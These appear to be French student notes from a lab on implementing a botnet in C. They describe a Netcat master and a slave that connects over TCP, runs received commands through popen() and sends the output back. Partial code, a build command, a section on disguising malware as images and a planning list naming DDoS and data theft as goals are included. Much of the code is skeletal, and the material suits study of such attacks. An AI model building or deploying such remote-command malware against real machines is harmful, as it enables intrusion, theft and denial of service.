Implentation BOTNET
Implentation BOTNET
Implentation BOTNET
D'après ce qui a été dit, le botnet est un réseau de machines capables de recevoir des commandes à
distance ( qui sont des requêtes : Scripts ) et de les exécuter localement, avec la possibilité de relayer
des informations entre elles.
# Ce type de réseau est souvent utilisé dans des attaques ( Menaces ) telles que les attaques par déni de
service distribué (DDoS) ou pour diffuser des logiciels espions à grande échelle.
#Exemples de Botnet : Mirai et Gameover Zeus , qui ont contrôlé par un nombre enorme d'appareils IoT.
#Les botnets C&C, avec un nœud maître contrôlant des nœuds esclaves, sont dépassés car ils peuvent
être neutralisés en coupant l'accès au maître. Les botnets modernes utilisent une architecture peer-to-
peer, sans point central de contrôle, ce qui les rend plus difficiles à démanteler.
1
Les intervenants : Botnet Master : le pirate / Cible : Esclave / Victime
#Le botnet master, également appelé commandant ou contrôleur, est l'entité qui contrôle l'ensemble
du réseau. Il construit son popre reseau d’ordinateurs
#Esclaves/Victimes (les cibles) : Les machines compromises, appelées bots ou zombies, sont les
appareils des victimes qui ont été infectés par le malware du botnet.
Les cibles sont dedies a attaquer les victimes ; ils envoient un nombre enormes de requetes en
meme temps
chaque participant (ou "pair") peut agir à la fois comme client et serveur, facilitant le partage
de ressources et d'informations.
2
2.Implementation
2.1 Master :
# Le "master" dans ce contexte est un serveur TCP utilisant Netcat, un outil open-source couramment
utilisé pour envoyer et recevoir des paquets texte.
2.2 Slave :
# Le "slave" consiste à recevoir et exécuter des commandes à distance. L'objectif est de rendre ce
nœud esclave aussi simple que possible, tout en respectant les exigences définies.
1 ) Initialisation :
Ce passage explique l'initialisation d'un nœud esclave dans un botnet. Tout d'abord, il suggère de nommer
le client pour que le maître puisse reconnaître les nœuds esclave. L'auteur recommande d'utiliser le nom
d'utilisateur de l'ordinateur plutôt que l'adresse IP pour plus de lisibilité. Ensuite, le texte explique comment
l'esclave doit se connecter au maître en utilisant l'adresse IP et le port spécifié. Dans ce cas, l'adresse locale
"127.0.0.1" est utilisée pour des tests locaux, avec un port défini à 9999.
# Le processus de communication entre le serveur (maître) et le client (esclave) se fait via une
socket, une sorte de canal de communication entre deux machines.
3
char* name = //Get the client's username and store it in name
//Allocate stack space of size CMD_LENGTH to hold data of type char. Call the stack pointer msg
printf("%s joining the botnet\n", name); affiche un msg deconfirmation que l’initialisation du nœud
s’est deroulee normalement
int channel = //initiate a channel given SERVER, PORT, and name : crée un canal de
communication (socket) entre le client (nœud esclave) et le serveur maître.
//Allocate stack space of size CMD_LENGTH to hold data of type char. Call the stack pointer
msg : alloue de l'espace mémoire pour stocker des messages qui seront échangés entre le maître
et l'esclave
But global du code : préparer un nœud esclave à rejoindre un réseau de botnet en établissant
une connexion avec le serveur maître. Une fois connecté, l'esclave pourra recevoir et exécuter
des commandes envoyées par le maître.
char msg[CMD_LENGTH];
if(channel < 0) {
perror ("socket:");
exit(1); }
int connection_status = //use the defined channel to connect the slave to the master server
if (connection_status < 0) {
perror ("connect:");
4
exit(1); }
//send a greeting message back to master by loading a string into msg (hint: snprintf will come
in handy)
return channel;}
Commentaires de ce code :
# sockaddr_in est déclarée pour contenir les informations relatives à la connexion réseau.
# inet_addr() et htons() qui convertit une adresse IP et le port en binaire pour que les systemes
reseau puissent la comprendre
# server.sin_family = //set the server's communications domain
Cette ligne doit définir le domaine de communication utilisé par la socket.
# int channel = //define a SOCK_STREAM socket
Ici, une socket de type SOCK_STREAM (flux TCP) est créée. Une socket de type SOCK_STREAM assure une
communication fiable via un canal bidirectionnel, utilisé pour des connexions TCP.
si connexion en utilisant la socket est etablie : connect() est appele pour etablir et
realiser la connexion
But global du code : Le but de cette fonction est de configurer et d'établir une connexion réseau entre
un nœud esclave et un serveur maître dans un botnet. Une fois la connexion établie, l'esclave est prêt
à recevoir des commandes et à échanger des données avec le maître via le canal de communication
(socket).
#Boucle infinie dans le fichier bot.c : Cette boucle permettra à l'esclave d'écouter constamment les
messages envoyés par le maître et d'agir en consequence
#parse() : Cette fonction analyse les messages reçus et exécute la commande correspondante.
5
#Implémentation de la fonction respond() dans utils.c : La fonction respond() sert à envoyer
des messages au maître en écrivant dans la socket.
Boucle infinie : Elle permet à l'esclave d'écouter en permanence les messages du maître.
#recieve() : Cette fonction permet de récupérer les messages envoyés par le maître via la socket.
#respond() : Elle permet à l'esclave d'envoyer des réponses ou des messages au maître en écrivant
dans la socket.
#La fonction parse() est chargée de vérifier le message reçu, de le formater correctement et de
passer la commande à la fonction execute().
#int execute(int s, char *cmd) { FILE *f = popen(cmd, "r"); : Exécuter la commande et ouvrir un
pipe pour lire la sortie
# Lire chaque ligne de la sortie while (fgets(line, sizeof(line), f) != NULL) { respond(s, line); Envoyer
chaque ligne de sortie au maître via la socket }
#parse() :Vérifie si le message est destiné à ce client en comparant le nom de l'esclave et si le format
de message est correct puis passe la commabnde a execute()
#execute() :Utilise popen() pour exécuter la commande dans le terminal et lit la sortie ligne par ligne
et l'envoie au maître via la socket en utilisant respond().Puis ferme le pipe après avoir terminé
l'exécution de la commande.
gcc -lcurl lib/connect.c lib/utils.c bot.c -o bin/slave puis on execute bin/master et bin/slave et
comme ca on a pu créer un botnet
Le déguisement du malware est une technique fascinante qui permet de masquer des
logiciels malveillants sous des apparences innocentes, comme des images .
6
1 .Inclure la fonction pour ouvrir l'image
5) extensions
Planification et Conception :
• Définir l'objectif du botnet (ex. : DDoS, vol de données, exploitation des ressources).
• Choisir l'architecture (centralisée avec un maître et des esclaves, ou décentralisée en
peer-to-peer).
• Créer le Malware :
o Développer le code qui sera exécuté sur les machines compromises (esclaves).
o Inclure des fonctionnalités comme la connexion au maître, la réception de
commandes et l'exécution de celles-ci.
• Établir une méthode de communication entre le maître et les esclaves (ex. : sockets TCP).
• Développer des fonctions pour envoyer et recevoir des messages.
Disguiser le Malware :
Gestion et Contrôle :
Exploitation :